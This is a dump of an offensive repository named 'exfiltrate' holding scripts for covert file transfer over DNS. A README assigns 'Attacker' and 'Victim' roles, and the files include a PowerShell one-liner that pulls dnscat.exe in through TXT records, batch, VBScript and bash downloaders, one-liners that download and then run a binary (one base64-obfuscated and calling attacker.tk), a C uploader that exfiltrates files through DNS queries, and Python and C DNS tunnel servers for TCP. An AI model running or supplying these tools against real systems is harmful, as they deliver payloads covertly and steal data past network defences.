├── README.md ├── dns_download.bat ├── dns_download.py ├── dns_download.sh ├── dns_download.vbs ├── dns_download_exec.bat ├── dns_download_exec.sh ├── dns_tcp.c ├── dns_tcp.py ├── dns_upload.c ├── dns_upload.py ├── dns_upload.vbs ├── ducky-dnsexec.txt ├── lib ├── qrcodegen.c └── qrcodegen.h ├── qr_download.py ├── qr_upload.c └── text_send.sh /README.md: -------------------------------------------------------------------------------- 1 | # exfiltrate 2 | 3 | Correct `yourzone.tk`. 4 | 5 | ## General DNS Setup 6 | 7 | ``` 8 | A * -> 9 | A @ -> 10 | A vps -> 11 | NS dns -> vps.yourzone.tk 12 | ``` 13 | 14 | ## Infiltration (File Upload) 15 | 16 | Attacker: 17 | 18 | ```bash 19 | $ sudo ./dns_upload.py dns.yourzone.tk --udp --file dnscat.exe -o/--output 'C:\Windows\Temp\dnscat.exe' [-s/--sleep 300] 20 | ``` 21 | 22 | Victim: 23 | 24 | ```powershell 25 | PS > for($d=1;$d -le 1190;$d++){while (1){try{$a=(Resolve-DnsName "d$d.dns.yourzone.tk" -Type TXT -Server 1.1.1.1 -ErrorAction Stop).Strings}catch{continue};break};$b=@();for($i=0;$i -le "$a".Length-1;$i=$i+2){$b+=[convert]::ToByte($a.Substring($i,2),16)};while(1){Sleep -mi 300;try{Add-Content "C:\Windows\Temp\dnscat.exe" -Value $b -Encoding Byte -ErrorAction Stop}catch{continue};break}} 26 | ``` 27 | -------------------------------------------------------------------------------- /dns_download.bat: -------------------------------------------------------------------------------- 1 | cmd /C "(echo On Error Resume Next& echo Set objShell = CreateObject^("WScript.Shell"^)& echo Set writer = CreateObject^("Scripting.FileSystemObject"^).createtextfile^("%TMP%\out.exe"^)& echo For d = 1 To 52& echo pos = 0& echo While pos = 0& echo Set exec = objShell.Exec^("nslookup -type=txt d"^&d^&".txt.yourzone.tk"^)& echo res = exec.Stdout.ReadAll^(^)& echo pos = inStr^(1,res,"?"^)& echo txt = Mid^(res,pos+1,253^)& echo Wend& echo For b = 0 To Len^(txt^)/2-1& echo writer.Write Chr^(CInt^("^&H" ^& Mid^(txt,1+b*2,2^)^)^)& echo Next& echo Next)>%TMP%\1.vbs & cscript %TMP%\1.vbs" 2 | -------------------------------------------------------------------------------- /dns_download.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | import argparse 5 | import datetime 6 | import sys 7 | import time 8 | import threading 9 | import traceback 10 | import socketserver 11 | import struct 12 | try: 13 | from dnslib import * 14 | except ImportError: 15 | print("Missing dependency dnslib: . Please install it with `pip`.") 16 | sys.exit(2) 17 | 18 | 19 | class DomainName(str): 20 | def __getattr__(self, item): 21 | return DomainName(item + '.' + self) 22 | 23 | 24 | D = DomainName('yourzone.tk.') 25 | d = DomainName('*.yourzone.tk.') 26 | IP = '127.0.0.1' 27 | TTL = 60 * 5 28 | out = None 29 | parts = set() 30 | 31 | soa_record = SOA( 32 | mname=D.ns1, # primary name server 33 | rname=D.andrei, # email of the domain administrator 34 | times=( 35 | 201307231, # serial number 36 | 60 * 60 * 1, # refresh 37 | 60 * 60 * 3, # retry 38 | 60 * 60 * 24, # expire 39 | 60 * 60 * 1, # minimum 40 | ) 41 | ) 42 | ns_records = [NS(D.ns1), NS(D.ns2)] 43 | records = { 44 | D: [A(IP), AAAA((0,) * 16), MX(D.mail), soa_record] + ns_records, 45 | D.ns1: [A(IP)], # MX and NS records must never point to a CNAME alias (RFC 2181 section 10.3) 46 | D.ns2: [A(IP)], 47 | D.mail: [A(IP)], 48 | D.andrei: [CNAME(D)], 49 | d: [A("127.0.0.1")] 50 | } 51 | 52 | 53 | def dns_response(data): 54 | global out, parts 55 | request = DNSRecord.parse(data) 56 | 57 | #print(request) 58 | 59 | reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) 60 | 61 | qname = request.q.qname 62 | qn = str(qname).lower() 63 | if qn.find(".yourzone.tk") != -1: 64 | try: 65 | pos,content,_,_,_ = qn.split(".") 66 | pos = int(pos) 67 | if not pos in parts: 68 | out.seek(pos) 69 | out.write(bytes.fromhex(content)) 70 | parts.add(pos) 71 | print("[+] " + qn) 72 | else: 73 | print("[*] " + qn) 74 | except: 75 | print(qn) 76 | qtype = request.q.qtype 77 | qt = QTYPE[qtype] 78 | 79 | if qn == D or qn.endswith('.' + D): 80 | 81 | for name, rrs in records.items(): 82 | if name == qn: 83 | for rdata in rrs: 84 | rqt = rdata.__class__.__name__ 85 | if qt in ['*', rqt]: 86 | reply.add_answer(RR(rname=qname, rtype=getattr(QTYPE, rqt), rclass=1, ttl=TTL, rdata=rdata)) 87 | 88 | for rdata in ns_records: 89 | reply.add_ar(RR(rname=D, rtype=QTYPE.NS, rclass=1, ttl=TTL, rdata=rdata)) 90 | 91 | reply.add_auth(RR(rname=D, rtype=QTYPE.SOA, rclass=1, ttl=TTL, rdata=soa_record)) 92 | 93 | #print("---- Reply:\n", reply) 94 | 95 | return reply.pack() 96 | 97 | 98 | class BaseRequestHandler(socketserver.BaseRequestHandler): 99 | 100 | def get_data(self): 101 | raise NotImplementedError 102 | 103 | def send_data(self, data): 104 | raise NotImplementedError 105 | 106 | def handle(self): 107 | now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f') 108 | ''' 109 | print("\n\n%s request %s (%s %s):" % (self.__class__.__name__[:3], now, self.client_address[0], 110 | self.client_address[1])) 111 | ''' 112 | try: 113 | data = self.get_data() 114 | #print(len(data), data) # repr(data).replace('\\x', '')[1:-1] 115 | self.send_data(dns_response(data)) 116 | except Exception: 117 | traceback.print_exc(file=sys.stderr) 118 | 119 | 120 | class TCPRequestHandler(BaseRequestHandler): 121 | 122 | def get_data(self): 123 | data = self.request.recv(8192).strip() 124 | sz = struct.unpack('>H', data[:2])[0] 125 | if sz < len(data) - 2: 126 | raise Exception("Wrong size of TCP packet") 127 | elif sz > len(data) - 2: 128 | raise Exception("Too big TCP packet") 129 | return data[2:] 130 | 131 | def send_data(self, data): 132 | sz = struct.pack('>H', len(data)) 133 | return self.request.sendall(sz + data) 134 | 135 | 136 | class UDPRequestHandler(BaseRequestHandler): 137 | 138 | def get_data(self): 139 | return self.request[0]#.strip() 140 | 141 | def send_data(self, data): 142 | return self.request[1].sendto(data, self.client_address) 143 | 144 | 145 | def main(): 146 | global out 147 | parser = argparse.ArgumentParser(description='Start a DNS implemented in Python.') 148 | parser = argparse.ArgumentParser(description='Start a DNS implemented in Python. Usually DNSs use UDP on port 53.') 149 | parser.add_argument('--port', default=53, type=int, help='The port to listen on.') 150 | parser.add_argument('--tcp', action='store_true', help='Listen to TCP connections.') 151 | parser.add_argument('--udp', action='store_true', help='Listen to UDP datagrams.') 152 | parser.add_argument('--file', help='Received file') 153 | 154 | args = parser.parse_args() 155 | if not (args.udp or args.tcp): parser.error("Please select at least one of --udp or --tcp.") 156 | 157 | out = open(args.file, "wb") 158 | 159 | print("Starting nameserver...") 160 | 161 | servers = [] 162 | if args.udp: servers.append(socketserver.ThreadingUDPServer(('', args.port), UDPRequestHandler)) 163 | if args.tcp: servers.append(socketserver.ThreadingTCPServer(('', args.port), TCPRequestHandler)) 164 | 165 | for s in servers: 166 | thread = threading.Thread(target=s.serve_forever) # that thread will start one more thread for each request 167 | thread.daemon = True # exit the server thread when the main thread terminates 168 | thread.start() 169 | print("%s server loop running in thread: %s" % (s.RequestHandlerClass.__name__[:3], thread.name)) 170 | 171 | try: 172 | while 1: 173 | time.sleep(1) 174 | sys.stderr.flush() 175 | sys.stdout.flush() 176 | 177 | except KeyboardInterrupt: 178 | pass 179 | finally: 180 | for s in servers: 181 | s.shutdown() 182 | 183 | if __name__ == '__main__': 184 | main() 185 | 186 | -------------------------------------------------------------------------------- /dns_download.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | for i in `seq $2` 3 | do 4 | answ=`host -t txt "d$i.txt.$1"|cut -d ' ' -f 4` 5 | echo ${answ:2:-1} | xxd -r -p - >> $3 6 | echo $i ${answ:2:-1} 7 | done -------------------------------------------------------------------------------- /dns_download.vbs: -------------------------------------------------------------------------------- 1 | On Error Resume Next 2 | Set objShell = CreateObject("WScript.Shell") 3 | Set writer = CreateObject("Scripting.FileSystemObject").createtextfile("c:\windows\temp\out.exe") 4 | For d = 1 To 1190 5 | pos = 0 6 | While pos = 0 7 | Set exec = objShell.Exec("nslookup -type=txt d"&d&".txt.yourzone.tk") 8 | res = exec.Stdout.ReadAll() 9 | pos = inStr(1,res,"?") 10 | txt = Mid(res,pos+1,253) 11 | Wscript.Echo d & " " & txt 12 | Wend 13 | For b = 0 To Len(txt)/2-1 14 | writer.Write Chr(CInt("&H" & Mid(txt,1+b*2,2))) 15 | Next 16 | Next 17 | 18 | Wscript.Echo "done" -------------------------------------------------------------------------------- /dns_download_exec.bat: -------------------------------------------------------------------------------- 1 | cmd /C "(echo On Error Resume Next& echo Set objShell = CreateObject^("WScript.Shell"^)& echo Set writer = CreateObject^("Scripting.FileSystemObject"^).createtextfile^("c:\windows\temp\out.exe"^)& echo For d = 1 To 472& echo pos = 0& echo While pos = 0& echo Set exec = objShell.Exec^("nslookup -type=txt d"^&d^&".txt.yourzone.tk"^)& echo res = exec.Stdout.ReadAll^(^)& echo pos = inStr^(1,res,"?"^)& echo txt = Mid^(res,pos+1,253^)& echo Wend& echo For b = 0 To Len^(txt^)/2-1& echo writer.Write Chr^(CInt^("^&H" ^& Mid^(txt,1+b*2,2^)^)^)& echo Next& echo Next)>%TMP%\1.vbs & cscript %TMP%\1.vbs & c:\windows\temp\out.exe" 2 | -------------------------------------------------------------------------------- /dns_download_exec.sh: -------------------------------------------------------------------------------- 1 | bash -c "echo IyEvYmluL2Jhc2gKZm9yIGkgaW4gYHNlcSAkMmAKZG8KCWFuc3c9YGhvc3QgLXQgdHh0ICJkJGkudHh0LiQxInxjdXQgLWQgJyAnIC1mIDRgCgllY2hvICR7YW5zdzoyOi0xfSB8IHh4ZCAtciAtcCAtID4+ICQzCmRvbmU=|base64 -d>/tmp/1.sh;chmod +x /tmp/1.sh;/tmp/1.sh attacker.tk 1000 /tmp/out;chmod +x /tmp/out;/tmp/out" 2 | -------------------------------------------------------------------------------- /dns_tcp.c: -------------------------------------------------------------------------------- 1 | #include //winsock 2 | #include //DNS api's 3 | #include //standard i/o 4 | 5 | #pragma comment(lib, "ws2_32.lib") 6 | #pragma comment(lib, "dnsapi.lib") 7 | 8 | #define BUF_SIZE 1024 9 | #define MAX_CON 10 10 | #define TIMEOUT 100 11 | #define DNS_SIZE 50 12 | 13 | /* 14 | cl /c dns_tcp.c 15 | link /out:dns_tcp.exe dns_tcp.obj ws2_32.lib dnsapi.lib 16 | */ 17 | 18 | char *zone; 19 | int new_connection = 1; 20 | int timeout; 21 | int dns_size; 22 | 23 | int unhexa(char major, char minor) 24 | { 25 | int byte; 26 | byte = (int)major - 0x30; 27 | if((int)major > 0x60) 28 | byte -= 0x27; 29 | byte <<= 4; 30 | byte += (int)minor - 0x30; 31 | if((int)minor > 0x60) 32 | byte -= 0x27; 33 | return byte; 34 | } 35 | 36 | void dns_send(char *buf, int buf_size, int socket) 37 | { 38 | DNS_STATUS error; 39 | PDNS_RECORD pDnsRecord; 40 | DNS_FREE_TYPE freetype; 41 | int i, j, pos = 0; 42 | char *dns = malloc(1000); 43 | int bytes = 0; 44 | 45 | if(buf_size == 0) 46 | { 47 | memset(dns, '\x00', 1000); 48 | sprintf(dns, "s%d.%d.00.%d.%s", bytes, buf_size, socket, zone); 49 | DnsQuery(dns, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, (PIP4_ARRAY)0, &pDnsRecord, 0); 50 | } 51 | while(pos < buf_size) 52 | { 53 | j = 0; 54 | memset(dns, '\x00', 1000); 55 | j += sprintf(dns, "%d.s%d.%d.", rand(), bytes, buf_size); 56 | for(i = 0; (i < dns_size && pos < buf_size); i++, pos++) 57 | j += sprintf(dns+j, "%02x", (unsigned char)buf[pos]); 58 | j += sprintf(dns+j, ".%d", socket); 59 | sprintf(dns+j, ".%s", zone); 60 | printf("[+] -> %s\n", dns); 61 | while(1) 62 | { 63 | error = DnsQuery(dns, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, (PIP4_ARRAY)0, &pDnsRecord, 0); 64 | if(error) 65 | { 66 | printf("[!] dns send error: %d\n", error); 67 | Sleep(1000); 68 | } 69 | else 70 | break; 71 | } 72 | pDnsRecord->Data.A.IpAddress; 73 | DnsRecordListFree(pDnsRecord, freetype); 74 | Sleep(timeout); 75 | bytes += dns_size; 76 | } 77 | free(dns); 78 | } 79 | 80 | int dns_recv(char *buf, int buf_size, int socket) 81 | { 82 | DNS_STATUS error; 83 | PDNS_RECORD pDnsRecord; 84 | char pReversedIP[255]; 85 | char DnsServIp[255]; 86 | DNS_FREE_TYPE freetype; 87 | freetype = DnsFreeRecordListDeep; 88 | 89 | char *dns = malloc(100); 90 | int pos = 0; 91 | int size; 92 | int i; 93 | while(pos < buf_size) 94 | { 95 | memset(dns, '\x00', 100); 96 | sprintf(dns, "%d.r%d.%d.%s", rand(), pos, socket, zone); 97 | 98 | while(1) 99 | { 100 | error = DnsQuery(dns, DNS_TYPE_TEXT, DNS_QUERY_BYPASS_CACHE, (PIP4_ARRAY)0, &pDnsRecord, 0); 101 | if(error) 102 | { 103 | printf("[!] dns recv error: %d\n", error); 104 | Sleep(1000); 105 | } 106 | else 107 | break; 108 | } 109 | 110 | if(pDnsRecord->Data.TXT.pStringArray[0][0] == '-') 111 | { 112 | DnsRecordListFree(pDnsRecord, freetype); 113 | free(dns); 114 | return -1; 115 | } 116 | else 117 | size = strlen(pDnsRecord->Data.TXT.pStringArray[0]); 118 | 119 | if(size == 0) 120 | { 121 | printf("[*] <- %s\n", dns); 122 | break; 123 | } 124 | else 125 | printf("[+] <- %s %s\n", dns, pDnsRecord->Data.TXT.pStringArray[0]); 126 | 127 | for(i = 0; i < size; i+=2) 128 | buf[pos++] = unhexa(pDnsRecord->Data.TXT.pStringArray[0][i], pDnsRecord->Data.TXT.pStringArray[0][i+1]); 129 | DnsRecordListFree(pDnsRecord, freetype); 130 | Sleep(timeout); 131 | } 132 | free(dns); 133 | return pos; 134 | } 135 | 136 | void _send(int * socket) 137 | { 138 | char buf[BUF_SIZE]; 139 | int recv_bytes; 140 | while(1) 141 | { 142 | if(! *socket) 143 | break; 144 | recv_bytes = recv(*socket, buf, BUF_SIZE, 0); 145 | if(recv_bytes <= 0) 146 | { 147 | printf("[*] connection closed on tcp_recv()\n"); 148 | // new_connection = 1; 149 | break; 150 | } 151 | dns_send(buf, recv_bytes, *socket); 152 | } 153 | dns_send("", 0, *socket); 154 | closesocket(*socket); 155 | *socket = 0; 156 | } 157 | 158 | void _recv(int * socket) 159 | { 160 | char buf[BUF_SIZE]; 161 | int buf_size; 162 | int is_new = 1; 163 | srand(time(0)); 164 | while(1) 165 | { 166 | if(! *socket) 167 | break; 168 | buf_size = dns_recv(&buf, BUF_SIZE, *socket); 169 | if(buf_size == -1) 170 | { 171 | printf("[*] connection %d closed on dns_recv()\n", *socket); 172 | // new_connection = 1; 173 | break; 174 | } 175 | if(buf_size) 176 | { 177 | if(!send(*socket, buf, buf_size, 0)) 178 | { 179 | printf("[*] connection closed on tcp_send()\n"); 180 | // new_connection = 1; 181 | break; 182 | } 183 | if(is_new) 184 | { 185 | // new_connection = 1; 186 | is_new = 0; 187 | } 188 | } 189 | Sleep(timeout); 190 | } 191 | } 192 | 193 | void die(char * mes) 194 | { 195 | printf("%s: %d\n", mes, WSAGetLastError()); 196 | ExitProcess(-1); 197 | } 198 | 199 | void dns_connect(char *ip, int port) 200 | { 201 | char buf[BUF_SIZE]; 202 | WSADATA wsa_data; 203 | SOCKET c; 204 | struct sockaddr_in sock_addr; 205 | int recv_bytes; 206 | int threads_id[2]; 207 | int *c_ptr; 208 | 209 | if( WSAStartup( MAKEWORD(2, 2), &wsa_data ) ) 210 | die("WSAStartup() error"); 211 | 212 | sock_addr.sin_family = AF_INET; 213 | sock_addr.sin_addr.s_addr = inet_addr(ip); 214 | sock_addr.sin_port = htons(port); 215 | 216 | while(1) 217 | { 218 | if(new_connection) 219 | { 220 | c = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 221 | if( c == INVALID_SOCKET ) 222 | die("socket() error"); 223 | if( connect( c, (struct sockaddr *) &sock_addr, sizeof(sock_addr) ) ) 224 | printf("connect() error\n"); 225 | else 226 | { 227 | printf("connected\n"); 228 | c_ptr = malloc(sizeof(c)); 229 | *c_ptr = c; 230 | CreateThread(0, 0, (LPTHREAD_START_ROUTINE)_send, c_ptr, 0, &threads_id[0]); 231 | CreateThread(0, 0, (LPTHREAD_START_ROUTINE)_recv, c_ptr, 0, &threads_id[1]); 232 | new_connection = 0; 233 | } 234 | } 235 | Sleep(timeout); 236 | } 237 | closesocket(c); 238 | WSACleanup(); 239 | } 240 | 241 | void dns_listen(int port) 242 | { 243 | WSADATA wsa_data; 244 | SOCKET s,c; 245 | struct sockaddr_in sock_addr; 246 | int recv_bytes = 0; 247 | int threads_id[2]; 248 | int *c_ptr; 249 | 250 | if( WSAStartup( MAKEWORD(2, 2), &wsa_data ) ) 251 | die("WSAStartup() error"); 252 | 253 | sock_addr.sin_family = AF_INET; 254 | sock_addr.sin_addr.s_addr = inet_addr("0.0.0.0"); 255 | sock_addr.sin_port = htons(port); 256 | 257 | s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 258 | if( s == INVALID_SOCKET ) 259 | die("socket() error"); 260 | 261 | if( bind( s, (struct sockaddr *) &sock_addr, sizeof(sock_addr) ) ) 262 | die("bind() error"); 263 | 264 | if( listen(s, MAX_CON) ) 265 | die("listen() error"); 266 | 267 | while(1) 268 | { 269 | c = accept(s, 0, 0); 270 | if(c == INVALID_SOCKET) 271 | die("accept() error"); 272 | printf("incoming connect\n"); 273 | c_ptr = malloc(sizeof(c)); 274 | *c_ptr = c; 275 | CreateThread(0, 0, (LPTHREAD_START_ROUTINE)_send, c_ptr, 0, &threads_id[0]); 276 | CreateThread(0, 0, (LPTHREAD_START_ROUTINE)_recv, c_ptr, 0, &threads_id[1]); 277 | } 278 | closesocket(s); 279 | WSACleanup(); 280 | } 281 | 282 | void main(int argc, char **argv) 283 | { 284 | char mode; 285 | char *ip; 286 | int port; 287 | 288 | zone = getenv("ZONE"); 289 | timeout = getenv("TIMEOUT") ? atoi(getenv("TIMEOUT")) : TIMEOUT; 290 | dns_size = (getenv("DNS_SIZE") ? atoi(getenv("DNS_SIZE")) : DNS_SIZE)/2; 291 | mode = argv[1][0]; 292 | switch(mode) 293 | { 294 | case 'c': 295 | ip = argv[2]; 296 | port = atoi(argv[3]); 297 | dns_connect(ip, port); 298 | break; 299 | case 'l': 300 | port = atoi(argv[2]); 301 | dns_listen(port); 302 | break; 303 | default: 304 | return; 305 | } 306 | } 307 | 308 | /* 309 | dns_tcp.exe l 8888 310 | dns_tcp.exe c 127.0.0.1 445 311 | */ 312 | -------------------------------------------------------------------------------- /dns_tcp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | import argparse 5 | import datetime 6 | import sys 7 | from time import sleep 8 | import threading 9 | import traceback 10 | import socketserver 11 | import struct 12 | import string 13 | import random 14 | import socket 15 | try: 16 | from dnslib import * 17 | except ImportError: 18 | print("Missing dependency dnslib: . Please install it with `pip`.") 19 | sys.exit(2) 20 | 21 | 22 | class DomainName(str): 23 | def __getattr__(self, item): 24 | return DomainName(item + '.' + self) 25 | 26 | 27 | TXT_SIZE = int(250/2) 28 | D = DomainName('yourzone.tk.') 29 | IP = '10.0.0.1' 30 | TTL = 1 31 | datas = {} 32 | socks = {} 33 | new_connection = False 34 | last_socket = None 35 | 36 | soa_record = SOA( 37 | mname=D.ns1, # primary name server 38 | rname=D.andrei, # email of the domain administrator 39 | times=( 40 | 201307231, # serial number 41 | 60 * 60 * 1, # refresh 42 | 60 * 60 * 3, # retry 43 | 60 * 60 * 24, # expire 44 | 60 * 60 * 1, # minimum 45 | ) 46 | ) 47 | ns_records = [NS(D.ns1), NS(D.ns2)] 48 | records = { 49 | D: [A(IP), AAAA((0,) * 16), MX(D.mail), soa_record] + ns_records, 50 | D.ns1: [A(IP)], # MX and NS records must never point to a CNAME alias (RFC 2181 section 10.3) 51 | D.ns2: [A(IP)], 52 | D.mail: [A(IP)], 53 | D.andrei: [CNAME(D)], 54 | } 55 | 56 | #sPOS.size.hexadata.sock.zone.ga 57 | #rPOS.sock.zone.ga 58 | def dns_response(data): 59 | global records, datas, new_connection, socks, last_socket 60 | request = DNSRecord.parse(data) 61 | 62 | reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) 63 | 64 | qname = request.q.qname 65 | qn = str(qname).lower() 66 | if qn.find(".yourzone.tk") != -1: 67 | try: 68 | if qn.split(".")[1].startswith("s"): 69 | rand,pos,size,data,sock = qn.split(".")[:5] 70 | pos = int(pos[1:]) 71 | size = int(size) 72 | if size > 0: 73 | data = bytes.fromhex(data) 74 | 75 | if not sock in datas: 76 | new_connection = True 77 | datas[sock] = {"size": None, "input": {}, "output": {}, "prev": None} 78 | 79 | if not sock in socks and last_socket: 80 | socks[last_socket] = sock 81 | last_socket = None 82 | 83 | datas[sock]["size"] = size 84 | if len(b"".join(datas[sock]["input"].values())) == pos: 85 | datas[sock]["input"][pos] = data 86 | else: 87 | datas[sock]["size"] = -1 88 | records[DomainName(qn)] = [A("127.0.0.1")] 89 | print(f"[*] {qn}") 90 | 91 | elif qn.split(".")[1].startswith("r"): 92 | rand,pos,sock = qn.split(".")[:3] 93 | pos = int(pos[1:]) 94 | 95 | if not sock in socks and last_socket: 96 | socks[last_socket] = sock 97 | last_socket = None 98 | 99 | if not sock in datas: 100 | new_connection = True 101 | datas[sock] = {"size": None, "input": {}, "output": {}, "prev": None} 102 | 103 | if datas[sock]["size"] == -1: 104 | answer = "-" 105 | elif pos in datas[sock]["output"]: 106 | answer = datas[sock]["output"][pos].hex() 107 | else: 108 | answer = "" 109 | records[DomainName(qn)] = [TXT(answer)] 110 | 111 | if datas[sock]["prev"] != None and datas[sock]["prev"] != pos and datas[sock]["prev"] in datas[sock]["output"]: 112 | del( datas[sock]["output"][ datas[sock]["prev"] ] ) 113 | datas[sock]["prev"] = pos 114 | 115 | print(f"[*] {qn} {answer}") 116 | except Exception as e: 117 | pass 118 | 119 | qtype = request.q.qtype 120 | qt = QTYPE[qtype] 121 | 122 | if qn == D or qn.endswith('.' + D): 123 | for name, rrs in records.items(): 124 | if name == qn: 125 | for rdata in rrs: 126 | rqt = rdata.__class__.__name__ 127 | if qt in ['*', rqt]: 128 | reply.add_answer(RR(rname=qname, rtype=getattr(QTYPE, rqt), rclass=1, ttl=TTL, rdata=rdata)) 129 | 130 | for rdata in ns_records: 131 | reply.add_ar(RR(rname=D, rtype=QTYPE.NS, rclass=1, ttl=TTL, rdata=rdata)) 132 | 133 | reply.add_auth(RR(rname=D, rtype=QTYPE.SOA, rclass=1, ttl=TTL, rdata=soa_record)) 134 | 135 | return reply.pack() 136 | 137 | 138 | class BaseRequestHandler(socketserver.BaseRequestHandler): 139 | 140 | def get_data(self): 141 | raise NotImplementedError 142 | 143 | def send_data(self, data): 144 | raise NotImplementedError 145 | 146 | def handle(self): 147 | now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f') 148 | ''' 149 | print("\n\n%s request %s (%s %s):" % (self.__class__.__name__[:3], now, self.client_address[0], 150 | self.client_address[1])) 151 | ''' 152 | try: 153 | data = self.get_data() 154 | #print(len(data), data) # repr(data).replace('\\x', '')[1:-1] 155 | self.send_data(dns_response(data)) 156 | except Exception: 157 | traceback.print_exc(file=sys.stderr) 158 | 159 | 160 | class TCPRequestHandler(BaseRequestHandler): 161 | 162 | def get_data(self): 163 | data = self.request.recv(8192).strip() 164 | sz = struct.unpack('>H', data[:2])[0] 165 | if sz < len(data) - 2: 166 | raise Exception("Wrong size of TCP packet") 167 | elif sz > len(data) - 2: 168 | raise Exception("Too big TCP packet") 169 | return data[2:] 170 | 171 | def send_data(self, data): 172 | sz = struct.pack('>H', len(data)) 173 | return self.request.sendall(sz + data) 174 | 175 | 176 | class UDPRequestHandler(BaseRequestHandler): 177 | 178 | def get_data(self): 179 | return self.request[0]#.strip() 180 | 181 | def send_data(self, data): 182 | return self.request[1].sendto(data, self.client_address) 183 | 184 | def tcp_send(sock): # dns_recv 185 | global datas, socks 186 | while True: 187 | if sock in socks: 188 | if not socks[sock] in datas: 189 | print("[*] connection closed dns") 190 | break 191 | partial = b"".join(datas[socks[sock]]["input"].values()) 192 | #print(len(partial), datas[socks[sock]]["size"]) 193 | if len(partial) == datas[socks[sock]]["size"]: 194 | buf = b"" 195 | parts = list(datas[socks[sock]]["input"].keys()); parts.sort() 196 | for part in parts: 197 | buf += datas[socks[sock]]["input"][part] 198 | sock.send(buf) 199 | datas[socks[sock]]["input"] = {} 200 | print(f"[+] -> {buf.hex()}") 201 | sleep(0.1) 202 | sock.close() 203 | datas[socks[sock]]["size"] = -1 204 | 205 | def tcp_recv(sock): # dns_send 206 | global datas, socks 207 | buf = "" 208 | while True: 209 | try: 210 | if not buf: 211 | buf = sock.recv(1024) 212 | if sock in socks: 213 | if buf: 214 | if datas[socks[sock]]["size"] == -1: 215 | print("[*] connection closed dns") 216 | break 217 | if not datas[socks[sock]]["output"].keys(): 218 | print(f"[+] <- {buf.hex()}") 219 | for p in range(0, len(buf), TXT_SIZE): 220 | datas[socks[sock]]["output"][p] = buf[p:p+TXT_SIZE] 221 | buf = "" 222 | else: 223 | print("[*] connection closed, no data") 224 | break 225 | sleep(0.1) 226 | except Exception as e: 227 | print("[*] connection closed " + str(e)) 228 | break 229 | sock.close() 230 | datas[socks[sock]]["size"] = -1 231 | 232 | def _listen(port): 233 | global last_socket 234 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 235 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 236 | s.bind(("172.16.0.1", port)) 237 | s.listen(10) 238 | while True: 239 | c,info = s.accept() 240 | last_socket = c 241 | print("[*] new tcp connection") 242 | threading.Thread(target=tcp_recv, args=(c,)).start() 243 | threading.Thread(target=tcp_send, args=(c,)).start() 244 | 245 | def _connect(ip, port): 246 | global new_connection, last_socket 247 | while True: 248 | if new_connection: 249 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 250 | last_socket = s 251 | s.connect((ip, port)) 252 | print("[*] tcp connected") 253 | threading.Thread(target=tcp_send, args=(s,)).start() 254 | threading.Thread(target=tcp_recv, args=(s,)).start() 255 | new_connection = False 256 | sleep(1) 257 | 258 | def main(): 259 | parser = argparse.ArgumentParser(description='Start a DNS implemented in Python. Usually DNSs use UDP on port 53.') 260 | parser.add_argument('--port', default=53, type=int, help='The port to listen on.') 261 | parser.add_argument('--tcp', action='store_true', help='Listen to TCP connections.') 262 | parser.add_argument('--udp', action='store_true', help='Listen to UDP datagrams.') 263 | parser.add_argument('-l', type=int, help='Listen port') 264 | parser.add_argument('-c', type=str, help='Connect to target:port') 265 | 266 | 267 | args = parser.parse_args() 268 | if not (args.udp or args.tcp): parser.error("Please select at least one of --udp or --tcp.") 269 | 270 | print("Starting nameserver...") 271 | 272 | servers = [] 273 | if args.udp: servers.append(socketserver.ThreadingUDPServer(('', args.port), UDPRequestHandler)) 274 | if args.tcp: servers.append(socketserver.ThreadingTCPServer(('', args.port), TCPRequestHandler)) 275 | 276 | for s in servers: 277 | thread = threading.Thread(target=s.serve_forever) # that thread will start one more thread for each request 278 | thread.daemon = True # exit the server thread when the main thread terminates 279 | thread.start() 280 | print("%s server loop running in thread: %s" % (s.RequestHandlerClass.__name__[:3], thread.name)) 281 | 282 | if args.l: 283 | port = args.l 284 | _listen(port) 285 | elif args.c: 286 | ip,port = args.c.split(":") 287 | _connect(ip, int(port)) 288 | 289 | try: 290 | input() 291 | except KeyboardInterrupt: 292 | pass 293 | finally: 294 | for s in servers: 295 | s.shutdown() 296 | 297 | if __name__ == '__main__': 298 | main() 299 | -------------------------------------------------------------------------------- /dns_upload.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | /* 6 | cl /c dns_upload.c 7 | link dns_upload.obj dnsapi.lib 8 | */ 9 | 10 | void main(int argc, char **argv) 11 | { 12 | if(argc != 3) 13 | { 14 | printf("%s path/to/file zone.tk\n", argv[0]); 15 | return; 16 | } 17 | FILE *f = fopen(argv[1],"rb"); 18 | unsigned char *content; 19 | unsigned char *dns; 20 | unsigned int i,j,bytes; 21 | bytes = 0; 22 | PDNS_RECORD result; 23 | 24 | content = malloc(15); 25 | dns = malloc(50); 26 | 27 | while(!feof(f)) 28 | { 29 | j = 0; 30 | memset(dns, '\x00', 50); 31 | j += sprintf(dns, "%d.", bytes); 32 | fread(content, 1, 15, f); 33 | for(i = 0; i < 15; i++) 34 | j += sprintf(dns+j, "%02x", content[i]); 35 | sprintf(dns+j, ".%s", argv[2]); 36 | printf("%s\n", dns); 37 | DnsQuery_A(dns, DNS_TYPE_A, DNS_QUERY_STANDARD, 0, &result, 0); 38 | Sleep(100); 39 | bytes += 15; 40 | } 41 | } -------------------------------------------------------------------------------- /dns_upload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import time 5 | import struct 6 | import hashlib 7 | import argparse 8 | import datetime 9 | import threading 10 | import traceback 11 | import socketserver 12 | 13 | try: 14 | from dnslib import * 15 | except ImportError: 16 | print("Missing dependency dnslib: . Please install it with `pip`.") 17 | sys.exit(1) 18 | 19 | 